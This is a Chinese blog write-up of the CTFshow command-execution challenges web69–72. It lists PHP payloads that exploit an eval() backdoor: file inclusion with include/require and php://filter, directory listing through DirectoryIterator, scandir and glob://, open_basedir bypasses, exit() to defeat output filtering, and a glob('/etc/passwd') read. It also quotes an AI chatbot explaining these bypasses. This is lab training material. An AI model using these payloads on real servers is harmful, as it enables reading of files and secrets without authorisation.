CTFshow系列——命令执行web69-72
原本前天就想着出一篇渗透测试的文章,花了几个小时调通环境,进行演示;然后就要在博客发布,没想到审核没过。。。我也是无语了;
后续我在想想办法有什么办法能把这些文章合法上传;
所以今天只能继续给大家带来命令执行部分的解析以及讲解了;
文章目录
- Web69(新知识)
- implode()函数的使用
- Web70
- Web71(新题型)
- 代码作用
- **解决思路**
- Web72(难度大)
- 网上的WP解法:
- 总结
Web69(新知识)
还是老样子,页面上来就显示highlight_file()
函数被过滤:
那么我们先探测下目录吧,结果发现var_dump()
等函数也被过滤了,那我们还怎么查看flag文件?
# 被过滤的函数
var_dump()
print_r()
但是好在var_export()
函数还能用,所以还是知道flag.txt在根目录下:
接下来就是老样子,用文件包含的方式来查看flag:
当然,之前在Web68说的几种方法还是可以执行的,包括我说的新函数c=readgzfile()
一样可以使用:
所以可用的payload有:
# payload
c=include('/flag.txt'); // 直接包含文件
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=include_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)# 新函数
c=readgzfile("/flag.txt");
implode()函数的使用
随后我又去问Gemini,又给我提供了一种新的函数:
-
您提到的
var_dump()
、print_r()
和var_export()
等函数在漏洞利用中非常有用,因为它们可以清晰地输出数组或对象的内容,帮助攻击者了解目录结构。- 如果这些函数被禁用,您可以使用以下几种方式来绕过限制并输出目录内容:
-
使用
implode()
- 作用:
implode()
可以将数组元素连接成一个字符串,这在无法使用 print_r() 等函数时非常有效。
- 作用:
-
用法:echo implode(‘|’, scandir(‘/’));
-
解释:scandir(‘/’) 会返回一个包含根目录下所有文件和文件夹名称的数组,implode(‘|’, …) 将这些名称用 | 符号连接起来,然后 echo 将结果输出到页面上。
所以又增加了一种新的payload:
# payload
c=echo implode('|', scandir('/'));
Web70
看看页面显示的结果:
这两个函数的用法:
- 作用:
error_reporting()
和ini_set()
主要用于改变 PHP 的运行环境,比如开启或关闭错误显示,它们本身无法执行文件操作。
我们先来查看一下flag的位置:
# 查看目录
c=echo implode('|', scandir('/'));
c=var_export(scandir('/'));
接下来就是查看内容:轻车熟路了
# payload
c=include('/flag.txt'); // 直接包含文件
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=include_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)# 新函数
c=readgzfile("/flag.txt");
Web71(新题型)
来到新的一关,我们发现有个文件:index.php
下载下来打开,查看源码:
<?phperror_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天吗?
题目页面:
我们发现代码与之前也是有了变化,多了不少函数:
这是一个简单的 PHP 后门脚本。下面是这段代码的逐行解释:
代码作用
这段代码的功能是执行用户通过 POST 请求提交的 PHP 代码,但会对执行结果进行过滤,将所有的数字和字母替换为问号(?)。
error_reporting(0);
- 作用: 关闭所有 PHP 错误报告。这意味着脚本在运行时,如果遇到任何警告、通知或错误,都不会显示给用户。
ini_set('display_errors', 0);
- 作用: 当值设为
0
时,脚本中的错误将不会在浏览器上显示,以确保脚本在执行过程中不会因报错而暴露任何信息。
- 作用: 当值设为
$s = ob_get_contents();
- 作用: 开启输出缓存。
ob_get_contents()
将从eval()
执行后产生的任何输出捕获并赋值给变量$s
。
- 作用: 开启输出缓存。
ob_end_clean();
- 作用: 关闭并清空当前输出缓存。这样,之前被捕获的输出就不会直接发送到浏览器。
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
- 作用: 这是这段代码的迷惑部分。
preg_replace()
函数使用正则表达式/
来查找并替换字符串。 [0-9]
匹配所有的数字。[a-z]
匹配所有的小写字母。/i
是一个修饰符,表示匹配不区分大小写,所以[a-z]
也匹配所有大写字母。- 所有匹配到的字符都会被替换为问号(
?
)。 - 最终,代码将
eval()
执行结果中的所有字母和数字都替换成问号,然后输出。
- 作用: 这是这段代码的迷惑部分。
尽管这段代码使用了 eval()
这个危险的函数来执行任意命令,但它又通过 preg_replace()
对输出进行了过滤,将所有字母和数字都替换为?
我们随便执行一个函数,发现确实变成了?
思路:既然他后面会将我们的结果变为?,那么我们能不能提前结束进程呢
答:可以使用exit()
/die()
提前结束程序
解决思路
- 有点像Web42~Web52通过管道符
||
&&
来隔断>/dev/null 2>&1
的作用,提前输出我们的结果;
所以payload为:
注意:exit()
/ die()
可互相替换,这里不作分别
# 查看目录
c=var_export(scandir('/'));exit();
c=echo implode('|', scandir('/'));exit();
接下来查看flag内容即可:
c=include('/flag.txt');exit();
c=include_once('/flag.txt');exit();
c=require('/flag.txt'); exit();
c=require_once('/flag.txt');exit();# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)exit();# 新函数
c=readgzfile("/flag.txt");exit();
POST传参失败了,没有了;唉
Web72(难度大)
老样子,还是有index.php代码:
<?phperror_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天吗?
对比了之前,甚至没有任何变化;
但是,我们的payload却是出现了大问题:
implode()
,scandir()
等查看目录的函数试图访问根目录 (/),但这被 open_basedir 限制阻止了- 作用:open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径。
- 也就是说我们没有权限查看文件目录
思路:有没有什么办法能够绕过限制,从而读取到全局的文件目录?
- 利用
glob()
函数glob()
函数可以遍历目录,并且在某些情况下可以绕过 open_basedir 限制。- payload:print_r(glob(‘/etc/passwd’));
网上的WP解法:
由于open_basedir限制的访问区域,所以之前的方法无法扫描目录(open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域)
但是可以通过,php伪协议,glob://绕过
-
查看根目录:
var_export(scandir('glob:///*'))
,其中,glob://为协议,/*为根目录所有内容。 -
发现flag0.txt
# payload
c=var_export(scandir('glob:///*'));exit();
c=echo implode('|', scandir('glob:///*'));exit();
下面的代码也是一种方法:类似Web66的PHP原生类可遍历目录
(不懂的可以看这篇文章:CTFshow系列——命令执行web61-68)
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
然后通过UAF脚本读取flag。(不懂原因,UAF是pwn的)
后面的就很难了,可以参照网上的教程:引用文章
总结
命令执行部分就快结束了,到时候我们自己整理一份思维导图方便大家构建自己的知识框架,到时候就放到文末的网盘链接,大家自取即可。
应该两三天就能完结命令执行部分;